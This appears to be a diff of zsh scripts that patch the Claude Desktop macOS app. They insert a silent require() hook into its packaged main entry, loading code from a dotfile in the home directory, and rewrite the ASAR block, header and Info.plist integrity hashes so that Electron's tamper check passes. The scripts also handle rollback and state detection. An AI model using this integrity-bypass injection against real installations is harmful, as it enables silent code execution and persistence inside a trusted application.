+ local source=$1 depth=0 quoted=0 escaped=0 character index
31
+ [[ "${source[1]}" == '{' ]] || sc_fail 'ASAR entry metadata is not an object.'
32
+ for (( index = 1; index <= ${#source}; index += 1 )); do
33
+ character=${source[index]}
34
+ if (( quoted )); then
35
+ if (( escaped )); then
36
+ escaped=0
37
+ elif [[ "$character" == '\\' ]]; then
38
+ escaped=1
39
+ elif [[ "$character" == '"' ]]; then
40
+ quoted=0
41
+ fi
42
+ continue
43
+ fi
44
+ case "$character" in
45
+ '"') quoted=1 ;;
46
+ '{') depth=$((depth + 1)) ;;
47
+ '}')
48
+ depth=$((depth - 1))
49
+ if (( depth == 0 )); then
50
+ REPLY=${source[1,index]}
51
+ return
52
+ fi ;;
53
+ esac
54
+ done
55
+ sc_fail 'ASAR entry metadata object is truncated.'
56
+ }
57
+
58
+ sc_parse_entry_metadata() {
59
+ local metadata=$1 hash_lines blocks_source
60
+ [[ "$metadata" =~ '"size":([0-9]+)' ]] || sc_fail 'ASAR entry size is unavailable.'
61
+ sc_entry_size=$match[1]
62
+ [[ "$metadata" =~ '"offset":"([0-9]+)"' ]] || sc_fail 'ASAR entry offset is unavailable.'
63
+ sc_entry_relative_offset=$match[1]
64
+ [[ "$metadata" =~ '"blockSize":([0-9]+)' ]] || sc_fail 'ASAR entry block size is unavailable.'
65
+ sc_entry_block_size=$match[1]
66
+ [[ "$metadata" =~ '"hash":"([a-f0-9]{64})"' ]] || sc_fail 'ASAR entry digest is unavailable.'
67
+ sc_entry_hash=$match[1]
68
+ [[ "$metadata" == *'"algorithm":"SHA256"'* && "$metadata" == *'"blocks":['* ]] ||
69
+ sc_fail 'ASAR entry integrity metadata is unsupported.'
70
+ (( sc_entry_size > 0 && sc_entry_block_size > 0 )) || sc_fail 'ASAR entry bounds are invalid.'
71
+ [[ "$metadata" =~ '"blocks":\[([^]]*)\]' ]] || sc_fail 'ASAR entry block digests are unavailable.'
72
+ blocks_source=$match[1]
73
+ hash_lines=$(print -rn -- "$blocks_source" | /usr/bin/grep -aoE '[a-f0-9]{64}' || true)
74
+ sc_entry_block_hashes=("${(@f)hash_lines}")
75
+ (( ${#sc_entry_block_hashes} == (sc_entry_size + sc_entry_block_size - 1) / sc_entry_block_size )) ||
76
+ sc_fail 'ASAR entry block count is invalid.'
77
+ }
78
+
79
+ sc_hash_entry_blocks() {
80
+ local file=$1 block_size=$2 block_count=$3 index digest
81
+ REPLY=()
82
+ for (( index = 0; index < block_count; index += 1 )); do
83
+ digest=$(/bin/dd if="$file" bs="$block_size" skip="$index" count=1 2>/dev/null |
84
+ /usr/bin/openssl dgst -sha256 | /usr/bin/awk '{print $NF}')
85
+ [[ "$digest" == [a-f0-9]## ]] || sc_fail 'Cannot hash an ASAR entry block.'
86
+ REPLY+=("$digest")
87
+ done
88
+ }
89
+
90
+ sc_patch_entry() {
91
+ local native=$1 patched=$2 bootstrap_namespace=$3 declaration_output suffix_output declaration offset identifier hook
92
+ local marker_offset suffix_offset prior_byte middle_bytes budget patched_size
93
+ [[ "$(/usr/bin/head -c 13 "$native")" == '"use strict";' ]] || sc_fail 'Claude main entry has no strict-mode prefix.'
94
+ /usr/bin/iconv -f UTF-8 -t UTF-8 "$native" >"$sc_stage/entry.utf8"
95
+ /usr/bin/cmp -s "$native" "$sc_stage/entry.utf8" || sc_fail 'Claude main entry is not canonical UTF-8.'
96
+ declaration_output=$(/usr/bin/grep -aEbo 'let [A-Za-z_$][A-Za-z0-9_$]*=require\("node:os"\);' "$native" || true)
97
+ sc_declaration_matches=("${(@f)declaration_output}")
98
+ (( ${#sc_declaration_matches} == 1 )) || sc_fail 'Claude bootstrap declaration is missing or ambiguous.'
99
+ declaration=$sc_declaration_matches[1]
100
+ offset=${declaration%%:*}
101
+ declaration=${declaration#*:}
102
+ identifier=${declaration#let }
103
+ identifier=${identifier%%=*}
104
+ (( offset += ${#declaration} ))
105
+ [[ "$bootstrap_namespace" == .s || "$bootstrap_namespace" == .d || "$bootstrap_namespace" == .e ]] ||
106
+ sc_fail 'Unsupported Claude bootstrap namespace.'
107
+ hook="try{require(${identifier}.homedir()+\"/$bootstrap_namespace\")}catch{}"
108
+
109
+ suffix_output=$(/usr/bin/grep -aEbo '//# sourceMappingURL=[^[:cntrl:]]+' "$native" || true)
110
+ sc_suffix_matches=("${(@f)suffix_output}")
111
+ (( ${#sc_suffix_matches} == 1 )) || sc_fail 'Claude source-map suffix is missing or ambiguous.'
112
+ marker_offset=${sc_suffix_matches[1]%%:*}
113
+ [[ "$(/usr/bin/tail -n 1 "$native")" == '//# sourceMappingURL='* ]] || sc_fail 'Claude source-map marker is not the final line.'
114
+ suffix_offset=$marker_offset
115
+ if (( marker_offset > 0 )); then
116
+ prior_byte=$(/bin/dd if="$native" bs=1 skip="$((marker_offset - 1))" count=1 2>/dev/null | /usr/bin/od -An -tu1)
117
+ prior_byte=${prior_byte//[[:space:]]/}
118
+ if [[ "$prior_byte" == 10 ]]; then
119
+ (( suffix_offset -= 1 ))
120
+ if (( suffix_offset > 0 )); then
121
+ prior_byte=$(/bin/dd if="$native" bs=1 skip="$((suffix_offset - 1))" count=1 2>/dev/null | /usr/bin/od -An -tu1)
122
+ prior_byte=${prior_byte//[[:space:]]/}
123
+ [[ "$prior_byte" == 13 ]] && (( suffix_offset -= 1 ))
124
+ fi
125
+ fi
126
+ fi
127
+ (( offset <= suffix_offset )) || sc_fail 'Claude bootstrap anchor occurs after the source-map suffix.'
128
+ middle_bytes=$((suffix_offset - offset))
129
+ budget=$((sc_entry_size - offset - ${#hook} - middle_bytes - 1))
130
+ (( budget >= 0 )) || sc_fail 'Claude bootstrap does not fit the fixed-size entry.'
131
+ {
132
+ /usr/bin/head -c "$offset" "$native"
133
+ print -rn -- "$hook"
134
+ /usr/bin/head -c "$suffix_offset" "$native" | /usr/bin/tail -c "$middle_bytes"
135
+ (( budget > 0 )) && printf '%*s' "$budget" ''
136
+ printf '\n'
137
+ } >"$patched"
138
+ patched_size=$(/usr/bin/stat -f '%z' "$patched")
139
+ (( patched_size == sc_entry_size )) || sc_fail 'Claude bootstrap changed the entry size.'
140
+ }
141
+
142
+ sc_patch_header() {
143
+ local header=$1 patched=$2 before=$3 metadata=$4 after=$5 native_blocks next_metadata
144
+ local old_blocks new_blocks index integrity_key metadata_prefix native_integrity patched_integrity segment
145
+ native_blocks='"blocks":['
146
+ new_blocks='"blocks":['
147
+ for (( index = 1; index <= ${#sc_entry_block_hashes}; index += 1 )); do
148
+ (( index > 1 )) && { native_blocks+=','; new_blocks+=','; }
149
+ native_blocks+='"'$sc_entry_block_hashes[index]'"'
150
+ new_blocks+='"'$sc_patched_block_hashes[index]'"'
151
+ done
152
+ native_blocks+=']'
153
+ new_blocks+=']'
154
+ sc_count_literal "$metadata" '"hash":"'$sc_entry_hash'"'
155
+ (( REPLY == 1 )) || sc_fail 'ASAR entry digest field is ambiguous.'
156
+ sc_count_literal "$metadata" "$native_blocks"
157
+ (( REPLY == 1 )) || sc_fail 'ASAR entry blocks field is ambiguous.'
158
+ next_metadata=${metadata/'"hash":"'$sc_entry_hash'"'/'"hash":"'$sc_patched_entry_hash'"'}
159
+ next_metadata=${next_metadata/"$native_blocks"/"$new_blocks"}
160
+ print -rn -- "$before$next_metadata$after" >"$patched"
161
+ [[ $(/usr/bin/stat -f '%z' "$header") == $(/usr/bin/stat -f '%z' "$patched") ]] || sc_fail 'ASAR header size changed.'
162
+ integrity_key='"integrity":'
163
+ [[ "$metadata" == *"$integrity_key"* ]] || sc_fail 'ASAR entry integrity object is unavailable.'
164
+ metadata_prefix=${metadata%%"$integrity_key"*}$integrity_key
165
+ sc_extract_json_object "${metadata#*"$integrity_key"}"; native_integrity=$REPLY
166
+ sc_extract_json_object "${next_metadata#*"$integrity_key"}"; patched_integrity=$REPLY
167
+ [[ ${#native_integrity} == ${#patched_integrity} ]] || sc_fail 'ASAR entry integrity object changed size.'
168
+ segment=${header%.native}-integrity
169
+ print -rn -- "$native_integrity" >"$segment.native"
170
+ print -rn -- "$patched_integrity" >"$segment.patched"
171
+ sc_write_scalar "$segment-offset" "$(( ${#before} + ${#metadata_prefix} ))"
172
+ sc_write_scalar "$segment-size" "${#native_integrity}"
173
+ }
174
+
175
+ sc_patch_plist() {
176
+ local native=$1 patched=$2 old_hash=$3 new_hash=$4 occurrences offset
177
+ /usr/bin/grep -aqF '<key>ElectronAsarIntegrity</key>' "$native" || sc_fail 'Info.plist has no Electron ASAR integrity section.'
178
+ occurrences=$(/usr/bin/grep -aoF "$old_hash" "$native" | /usr/bin/wc -l | /usr/bin/tr -d ' ')
179
+ [[ "$occurrences" == 1 ]] || sc_fail 'Info.plist ASAR digest is missing or ambiguous.'
180
+ offset=$(/usr/bin/grep -aboF "$old_hash" "$native")
181
+ offset=${offset%%:*}
182
+ sc_plist_asar_integrity_offset=$offset
183
+ /bin/cp -p "$native" "$patched"
184
+ print -rn -- "$new_hash" | /bin/dd of="$patched" bs=1 seek="$offset" conv=notrunc 2>/dev/null
185
+ [[ $(/usr/bin/stat -f '%z' "$native") == $(/usr/bin/stat -f '%z' "$patched") ]] || sc_fail 'Info.plist size changed.'
186
+ }
187
+
188
+ sc_asar_plan() {
189
+ local app=$1 stage=$2 runtime_version=$3 bootstrap_namespace=${4:-.s} asar plist prefix_bytes header_size json_size content_offset
190
+ local header_source entry_key prefix remainder metadata after asar_size old_header_hash new_header_hash index
191
+ local actual_hash
192
+ app=${app:A}
193
+ asar="$app/Contents/Resources/app.asar"
194
+ plist="$app/Contents/Info.plist"
195
+ [[ "$(/usr/bin/plutil -extract CFBundleIdentifier raw "$plist")" == com.anthropic.claudefordesktop ]] ||
196
+ sc_fail 'The selected application is not Claude Desktop.'
197
+ /usr/bin/plutil -lint "$plist" >/dev/null
198
+ prefix_bytes=$(/usr/bin/od -An -tu1 -N16 "$asar")
199
+ sc_prefix=( ${(z)prefix_bytes} )
200
+ (( ${#sc_prefix} == 16 )) || sc_fail 'Cannot read the ASAR prefix.'
201
+ (( sc_prefix[1] + sc_prefix[2] * 256 + sc_prefix[3] * 65536 + sc_prefix[4] * 16777216 == 4 )) ||
202
+ sc_fail 'Unsupported ASAR prefix.'
203
+ header_size=$((sc_prefix[5] + sc_prefix[6] * 256 + sc_prefix[7] * 65536 + sc_prefix[8] * 16777216))
204
+ json_size=$((sc_prefix[13] + sc_prefix[14] * 256 + sc_prefix[15] * 65536 + sc_prefix[16] * 16777216))
205
+ (( json_size >= 2 && json_size <= 32 * 1024 * 1024 && header_size >= json_size + 8 )) || sc_fail 'Invalid ASAR header bounds.'
206
+ content_offset=$((8 + header_size))
207
+ /bin/dd if="$asar" of="$stage/header.native" bs=1 skip=16 count="$json_size" 2>/dev/null
208
+ /usr/bin/plutil -convert xml1 -o /dev/null "$stage/header.native"
209
+ header_source=$(<"$stage/header.native")
210
+ [[ $(/usr/bin/stat -f '%z' "$stage/header.native") == "$json_size" ]] || sc_fail 'ASAR header read is incomplete.'
211
+ entry_key='"index.pre.js":'
212
+ sc_count_literal "$header_source" "$entry_key"
213
+ (( REPLY == 1 )) || sc_fail 'Claude packaged main entry is missing or ambiguous.'
214
+ prefix=${header_source%%"$entry_key"*}$entry_key
215
+ remainder=${header_source#*"$entry_key"}
216
+ sc_extract_json_object "$remainder"
217
+ metadata=$REPLY
218
+ after=${remainder[${#metadata}+1,-1]}
219
+ print -rn -- "$metadata" >"$stage/entry-metadata.native"
220
+ sc_parse_entry_metadata "$metadata"
221
+ (( sc_entry_relative_offset >= 0 )) || sc_fail 'ASAR entry offset is invalid.'
222
+ sc_entry_absolute_offset=$((content_offset + sc_entry_relative_offset))
223
+ asar_size=$(/usr/bin/stat -f '%z' "$asar")
224
+ (( sc_entry_absolute_offset + sc_entry_size <= asar_size )) || sc_fail 'ASAR entry exceeds the archive.'
225
+ /usr/bin/head -c "$((sc_entry_absolute_offset + sc_entry_size))" "$asar" | /usr/bin/tail -c "$sc_entry_size" >"$stage/entry.native"
226
+ actual_hash=$(sc_sha256_file "$stage/entry.native")
227
+ [[ "$actual_hash" == "$sc_entry_hash" ]] || sc_fail 'Claude main-entry integrity mismatch.'
228
+ sc_hash_entry_blocks "$stage/entry.native" "$sc_entry_block_size" "${#sc_entry_block_hashes}"
229
+ [[ "${(j:\n:)REPLY}" == "${(j:\n:)sc_entry_block_hashes}" ]] || sc_fail 'Claude main-entry block integrity mismatch.'
230
+
231
+ sc_patch_entry "$stage/entry.native" "$stage/entry.patched" "$bootstrap_namespace"
232
+ sc_patched_entry_hash=$(sc_sha256_file "$stage/entry.patched")
233
+ sc_hash_entry_blocks "$stage/entry.patched" "$sc_entry_block_size" "${#sc_entry_block_hashes}"
234
+ sc_patched_block_hashes=("${REPLY[@]}")
235
+ sc_patch_header "$stage/header.native" "$stage/header.patched" "$prefix" "$metadata" "$after"
236
+ old_header_hash=$(sc_sha256_file "$stage/header.native")
237
+ new_header_hash=$(sc_sha256_file "$stage/header.patched")
238
+ /bin/cp -p "$plist" "$stage/plist.native"
239
+ sc_patch_plist "$stage/plist.native" "$stage/plist.patched" "$old_header_hash" "$new_header_hash"
240
+ /bin/dd if="$stage/plist.native" of="$stage/plist-asar-integrity.native" bs=1 skip="$sc_plist_asar_integrity_offset" count=64 2>/dev/null
241
+ /bin/dd if="$stage/plist.patched" of="$stage/plist-asar-integrity.patched" bs=1 skip="$sc_plist_asar_integrity_offset" count=64 2>/dev/null
242
+
243
+ sc_write_scalar "$stage/asar-identity" "$(sc_regular_file_identity "$asar")"
244
+ sc_write_scalar "$stage/plist-identity" "$(sc_regular_file_identity "$plist")"
245
+ sc_write_scalar "$stage/asar-pristine-sha256" "$(sc_sha256_file "$asar")"
246
+ sc_write_scalar "$stage/plist-pristine-sha256" "$(sc_sha256_file "$plist")"
247
+ sc_write_scalar "$stage/entry-offset" "$sc_entry_absolute_offset"
248
+ sc_write_scalar "$stage/entry-size" "$sc_entry_size"
249
+ sc_write_scalar "$stage/header-size" "$json_size"
250
+ sc_write_scalar "$stage/plist-asar-integrity-offset" "$sc_plist_asar_integrity_offset"
251
+ sc_write_scalar "$stage/entry-patched-sha256" "$(sc_sha256_file "$stage/entry.patched")"
252
+ sc_write_scalar "$stage/header-patched-sha256" "$(sc_sha256_file "$stage/header.patched")"
253
+ sc_write_scalar "$stage/plist-patched-sha256" "$(sc_sha256_file "$stage/plist.patched")"
254
+ sc_write_scalar "$stage/desktop-version" "$(/usr/bin/plutil -extract CFBundleShortVersionString raw "$plist")"
255
+ sc_write_scalar "$stage/bundle-version" "$(/usr/bin/plutil -extract CFBundleVersion raw "$plist")"
256
+ sc_write_scalar "$stage/runtime-version" "$runtime_version"
257
+ }
258
+
259
+ sc_manifest_source() {
260
+ local app=$1 stage=$2 asar=$3 plist=$4 installed_at=$5
261
+ local desktop_version bundle_version runtime_version asar_pristine plist_pristine asar_patched plist_patched
262
+ local entry_offset entry_size header_size header_integrity_offset header_integrity_size plist_integrity_offset
263
+ sc_read_scalar "$stage/desktop-version"; desktop_version=$REPLY
264
+ sc_read_scalar "$stage/bundle-version"; bundle_version=$REPLY
265
+ sc_read_scalar "$stage/runtime-version"; runtime_version=$REPLY
266
+ sc_read_scalar "$stage/asar-pristine-sha256"; asar_pristine=$REPLY
267
+ sc_read_scalar "$stage/plist-pristine-sha256"; plist_pristine=$REPLY
268
+ sc_read_scalar "$stage/entry-offset"; entry_offset=$REPLY
269
+ sc_read_scalar "$stage/entry-size"; entry_size=$REPLY
270
+ sc_read_scalar "$stage/header-size"; header_size=$REPLY
271
+ sc_read_scalar "$stage/header-integrity-offset"; header_integrity_offset=$((REPLY + 16))
272
+ sc_read_scalar "$stage/header-integrity-size"; header_integrity_size=$REPLY
273
+ sc_read_scalar "$stage/plist-asar-integrity-offset"; plist_integrity_offset=$REPLY
274
+ asar_patched=$(sc_sha256_file "$asar")
275
+ plist_patched=$(sc_sha256_file "$plist")
276
+ sc_json_string "$app"; local app_json=$REPLY
277
+ sc_json_string "$desktop_version"; local desktop_json=$REPLY
278
+ sc_json_string "$bundle_version"; local bundle_json=$REPLY
279
+ sc_json_string "$runtime_version"; local runtime_json=$REPLY
280
+ cat <<EOF
281
+ {
282
+ "schemaVersion": 1,
283
+ "appPath": $app_json,
284
+ "bundleIdentifier": "com.anthropic.claudefordesktop",
285
+ "desktopVersion": $desktop_json,
286
+ "bundleVersion": $bundle_json,
287
+ "entryPath": ".vite/build/index.pre.js",
288
+ "installedAt": "$installed_at",
289
+ "runtimeVersion": $runtime_json,
290
+ "resources": {
291
+ "asar": { "bytes": $(/usr/bin/stat -f '%z' "$asar"), "pristineSha256": "$asar_pristine", "patchedSha256": "$asar_patched" },
292
+ "infoPlist": { "bytes": $(/usr/bin/stat -f '%z' "$plist"), "pristineSha256": "$plist_pristine", "patchedSha256": "$plist_patched" }
293
+ },
294
+ "sealedResourcePatch": {
295
+ "asarEntry": { "offset": $entry_offset, "bytes": $entry_size, "pristineSha256": "$(sc_sha256_file "$stage/entry.native")", "patchedSha256": "$(sc_sha256_file "$stage/entry.patched")" },
296
+ "asarEntryIntegrity": { "offset": $header_integrity_offset, "bytes": $header_integrity_size, "pristineSha256": "$(sc_sha256_file "$stage/header-integrity.native")", "patchedSha256": "$(sc_sha256_file "$stage/header-integrity.patched")" },
297
+ "asarHeader": { "offset": 16, "bytes": $header_size, "pristineSha256": "$(sc_sha256_file "$stage/header.native")", "patchedSha256": "$(sc_sha256_file "$stage/header.patched")" },
298
+ "infoPlistAsarIntegrity": { "offset": $plist_integrity_offset, "bytes": 64, "pristineSha256": "$(sc_sha256_file "$stage/plist-asar-integrity.native")", "patchedSha256": "$(sc_sha256_file "$stage/plist-asar-integrity.patched")" }
299
+ }
300
+ }
301
+ EOF
302
+ }
303
+
304
+ sc_transfer_file_to_fd() {
305
+ local source=$1 output_fd=$2 output_offset=$3 expected_bytes=$4 input_fd transferred transfer_status
306
+ local transferred_bytes=0
307
+ sysseek -u "$output_fd" "$output_offset" || return
308
+ exec {input_fd}<"$source" || return
309
+ while true; do
310
+ if sysread -i "$input_fd" -o "$output_fd" -s 1048576 -c transferred; then
311
+ (( transferred_bytes += transferred ))
312
+ else
313
+ transfer_status=$?
314
+ break
315
+ fi
316
+ done
317
+ exec {input_fd}<&-
318
+ (( transfer_status == 5 && transferred_bytes == expected_bytes ))
319
+ }
320
+
321
+ sc_asar_apply() {
322
+ local app=${1:A} stage=$2 manifest_path=$3 asar plist expected_asar_identity expected_plist_identity
323
+ local expected_asar_hash expected_plist_hash entry_offset entry_size asar_fd plist_fd installed_at
324
+ local expected_entry_patch expected_header_patch expected_plist_patch
325
+ local header_integrity_offset header_integrity_size plist_integrity_offset
326
+ local failure=''
327
+ asar="$app/Contents/Resources/app.asar"
328
+ plist="$app/Contents/Info.plist"
329
+ sc_read_scalar "$stage/asar-identity"; expected_asar_identity=$REPLY
330
+ sc_read_scalar "$stage/plist-identity"; expected_plist_identity=$REPLY
331
+ sc_read_scalar "$stage/asar-pristine-sha256"; expected_asar_hash=$REPLY
332
+ sc_read_scalar "$stage/plist-pristine-sha256"; expected_plist_hash=$REPLY
333
+ sc_read_scalar "$stage/entry-offset"; entry_offset=$REPLY
334
+ sc_read_scalar "$stage/entry-size"; entry_size=$REPLY
335
+ sc_read_scalar "$stage/header-integrity-offset"; header_integrity_offset=$((REPLY + 16))
336
+ sc_read_scalar "$stage/header-integrity-size"; header_integrity_size=$REPLY
337
+ sc_read_scalar "$stage/plist-asar-integrity-offset"; plist_integrity_offset=$REPLY
338
+ sc_read_scalar "$stage/entry-patched-sha256"; expected_entry_patch=$REPLY
339
+ sc_read_scalar "$stage/header-patched-sha256"; expected_header_patch=$REPLY
340
+ sc_read_scalar "$stage/plist-patched-sha256"; expected_plist_patch=$REPLY
341
+ [[ "$(sc_sha256_file "$stage/entry.patched")" == "$expected_entry_patch" &&
342
+ "$(sc_sha256_file "$stage/header.patched")" == "$expected_header_patch" &&
343
+ "$(sc_sha256_file "$stage/plist.patched")" == "$expected_plist_patch" ]] || sc_fail 'Claude patch plan was changed after validation.'
344
+ [[ "$(sc_regular_file_identity "$asar")" == "$expected_asar_identity" && "$(sc_regular_file_identity "$plist")" == "$expected_plist_identity" ]] ||
345
+ sc_fail 'Claude resources were replaced after planning.'
346
+ [[ "$(sc_sha256_file "$asar")" == "$expected_asar_hash" && "$(sc_sha256_file "$plist")" == "$expected_plist_hash" ]] ||
347
+ sc_fail 'Claude resources changed after planning.'
348
+ zmodload zsh/system
349
+ exec {asar_fd}<>"$asar"
350
+ exec {plist_fd}<>"$plist"
351
+ if [[ "$(/usr/bin/stat -f '%i:%z' "/dev/fd/$asar_fd")" != "${expected_asar_identity#*:}" ||
352
+ "$(/usr/bin/stat -f '%i:%z' "/dev/fd/$plist_fd")" != "${expected_plist_identity#*:}" ]]; then
353
+ failure='Claude resources changed while opening them.'
354
+ else
355
+ if ! sc_transfer_file_to_fd "$stage/entry.patched" "$asar_fd" "$entry_offset" "$entry_size"; then
356
+ failure='Cannot write Claude main entry.'
357
+ fi
358
+ [[ ${SUPERCODE_CLAUDE_INSTALL_FAULT:-} != after-entry ]] || failure='Injected failure after entry.'
359
+ if [[ -z "$failure" ]]; then
360
+ if ! sc_transfer_file_to_fd "$stage/header-integrity.patched" "$asar_fd" "$header_integrity_offset" "$header_integrity_size"; then
361
+ failure='Cannot write ASAR header.'
362
+ fi
363
+ [[ ${SUPERCODE_CLAUDE_INSTALL_FAULT:-} != after-header ]] || failure='Injected failure after header.'
364
+ fi
365
+ if [[ -z "$failure" ]]; then
366
+ if ! sc_transfer_file_to_fd "$stage/plist-asar-integrity.patched" "$plist_fd" "$plist_integrity_offset" 64; then
367
+ failure='Cannot write Info.plist.'
368
+ fi
369
+ [[ ${SUPERCODE_CLAUDE_INSTALL_FAULT:-} != after-plist ]] || failure='Injected failure after Info.plist.'
370
+ fi
371
+ /bin/sync
372
+ if [[ -z "$failure" ]]; then
373
+ [[ "$(sc_regular_file_identity "$asar")" == "$expected_asar_identity" && "$(sc_regular_file_identity "$plist")" == "$expected_plist_identity" ]] ||
374
+ failure='Claude resources were replaced during patching.'
375
+ fi
376
+ if [[ -z "$failure" ]]; then
377
+ if ! /usr/bin/head -c "$((entry_offset + entry_size))" "$asar" | /usr/bin/tail -c "$entry_size" >"$stage/entry.readback" ||
378
+ ! /bin/dd if="$asar" of="$stage/header-integrity.readback" bs=1 skip="$header_integrity_offset" count="$header_integrity_size" 2>/dev/null ||
379
+ ! /bin/dd if="$plist" of="$stage/plist-asar-integrity.readback" bs=1 skip="$plist_integrity_offset" count=64 2>/dev/null; then
380
+ failure='Cannot reread patched Claude resources.'
381
+ fi
382
+ fi
383
+ if [[ -z "$failure" ]]; then
384
+ /usr/bin/cmp -s "$stage/entry.patched" "$stage/entry.readback" || failure='Claude main-entry read-back differs from the plan.'
385
+ /usr/bin/cmp -s "$stage/header-integrity.patched" "$stage/header-integrity.readback" ||
386
+ failure='ASAR entry-integrity read-back differs from the plan.'
387
+ /usr/bin/cmp -s "$stage/plist-asar-integrity.patched" "$stage/plist-asar-integrity.readback" ||
388
+ failure='Info.plist integrity read-back differs from the plan.'
389
+ fi
390
+ fi
391
+ if [[ -z "$failure" ]]; then
392
+ installed_at=$(/bin/date -u '+%Y-%m-%dT%H:%M:%SZ')
393
+ if ! sc_manifest_source "$app" "$stage" "$asar" "$plist" "$installed_at" >"$stage/installed.json"; then
394
+ failure='Cannot generate the Claude installation manifest.'
395
+ elif ! /usr/bin/plutil -convert xml1 -o /dev/null "$stage/installed.json"; then
396
+ failure='Generated Claude installation manifest is invalid.'
397
+ elif [[ ${SUPERCODE_CLAUDE_INSTALL_FAULT:-} == before-manifest ]]; then
398
+ failure='Injected failure before manifest.'
399
+ elif ! sc_copy_atomic "$stage/installed.json" "$manifest_path"; then
400
+ failure='Cannot publish the Claude installation manifest.'
401
+ fi
402
+ fi
403
+ if [[ -n "$failure" ]]; then
404
+ sc_transfer_file_to_fd "$stage/entry.native" "$asar_fd" "$entry_offset" "$entry_size" || true
405
+ sc_transfer_file_to_fd "$stage/header-integrity.native" "$asar_fd" "$header_integrity_offset" "$header_integrity_size" || true
406
+ sc_transfer_file_to_fd "$stage/plist-asar-integrity.native" "$plist_fd" "$plist_integrity_offset" 64 || true
407
+ /bin/sync
408
+ exec {asar_fd}>&-
409
+ exec {plist_fd}>&-
410
+ [[ "$(sc_sha256_file "$asar")" == "$expected_asar_hash" && "$(sc_sha256_file "$plist")" == "$expected_plist_hash" ]] ||
411
+ sc_fail "Rollback failed after: $failure"
412
+ sc_fail "$failure"
413
+ fi
414
+ exec {asar_fd}>&-
415
+ exec {plist_fd}>&-
416
+ }
@@ -0,0 +1,49 @@
1
+ #!/bin/zsh -f
2
+
3
+ # External marker/profile adapter. Hashes classify one known installation; they
4
+ # never select a patcher or admit a new Claude version.
5
+
6
+ sc_plist_value() {
7
+ /usr/bin/plutil -extract "$2" raw "$1" 2>/dev/null
8
+ }
9
+
10
+ sc_installation_state() {
11
+ local app=${1:A} directory=$2 pid=$3 admission manifest
12
+ local marker_app marker_pid manifest_app bundle asar_native asar_patched plist_native plist_patched
13
+ admission="$directory/admission-in-progress.json"
14
+ manifest="$directory/installed.json"
15
+ if [[ -f "$admission" && ! -L "$admission" ]]; then
16
+ marker_app=$(sc_plist_value "$admission" appPath || true)
17
+ marker_pid=$(sc_plist_value "$admission" pid || true)
18
+ if [[ "$(sc_plist_value "$admission" schemaVersion || true)" == 1 && "$marker_app" == "$app" && "$marker_pid" == "$pid" ]] &&
19
+ kill -0 "$marker_pid" 2>/dev/null; then
20
+ REPLY=admission-active
21
+ return
22
+ fi
23
+ fi
24
+ if [[ ! -e "$manifest" ]]; then
25
+ REPLY=uninstalled
26
+ return
27
+ fi
28
+ [[ -f "$manifest" && ! -L "$manifest" ]] || sc_fail 'Invalid Claude installation marker.'
29
+ manifest_app=$(sc_plist_value "$manifest" appPath || true)
30
+ bundle=$(sc_plist_value "$manifest" bundleIdentifier || true)
31
+ [[ "$(sc_plist_value "$manifest" schemaVersion || true)" == 1 && "$manifest_app" == "$app" && "$bundle" == com.anthropic.claudefordesktop ]] ||
32
+ sc_fail 'Invalid Claude installation marker.'
33
+ asar_native=$(sc_plist_value "$manifest" resources.asar.pristineSha256 || true)
34
+ asar_patched=$(sc_plist_value "$manifest" resources.asar.patchedSha256 || true)
35
+ plist_native=$(sc_plist_value "$manifest" resources.infoPlist.pristineSha256 || true)
36
+ plist_patched=$(sc_plist_value "$manifest" resources.infoPlist.patchedSha256 || true)
37
+ local asar_current=$(sc_sha256_file "$app/Contents/Resources/app.asar")
38
+ local plist_current=$(sc_sha256_file "$app/Contents/Info.plist")
39
+ if [[ "$asar_current" == "$asar_patched" && "$plist_current" == "$plist_patched" ]]; then
40
+ REPLY=already-patched
41
+ elif [[ "$asar_current" == "$asar_native" && "$plist_current" == "$plist_native" ]]; then
42
+ REPLY=pristine
43
+ elif [[ ( "$asar_current" == "$asar_native" || "$asar_current" == "$asar_patched" ) &&
44
+ ( "$plist_current" == "$plist_native" || "$plist_current" == "$plist_patched" ) ]]; then
45
+ REPLY=managed-mixed
46
+ else
47
+ REPLY=unknown
48
+ fi
49
+ }
@@ -0,0 +1,19 @@
1
+ #!/bin/zsh -f
2
+
3
+ # Exact selected-process boundary. Recovery intentionally relaunches without
4
+ # reconstructing a whitespace-lossy argv string; Claude restores its own state.
5
+
6
+ sc_verify_process_identity() {
7
+ local app=${1:A} pid=$2 uid=$3 executable=${4:A}
8
+ [[ "$pid" == <1-> ]] || sc_fail 'Invalid Claude process ID.'
9
+ [[ "$uid" == "$EUID" ]] || sc_fail 'Claude belongs to a different user.'
10
+ [[ "$executable" == "$app/Contents/MacOS/Claude" ]] || sc_fail 'PID does not belong to the exact selected Claude executable.'
11
+ }
12
+
13
+ sc_verify_process() {
14
+ local app=${1:A} pid=$2 uid executable
15
+ [[ "$pid" == <1-> ]] || sc_fail 'Invalid Claude process ID.'
16
+ uid=$(/bin/ps -p "$pid" -o uid= 2>/dev/null | /usr/bin/tr -d ' ')
17
+ executable=$(/bin/ps -p "$pid" -o comm= 2>/dev/null)
18
+ sc_verify_process_identity "$app" "$pid" "$uid" "$executable"
19
+ }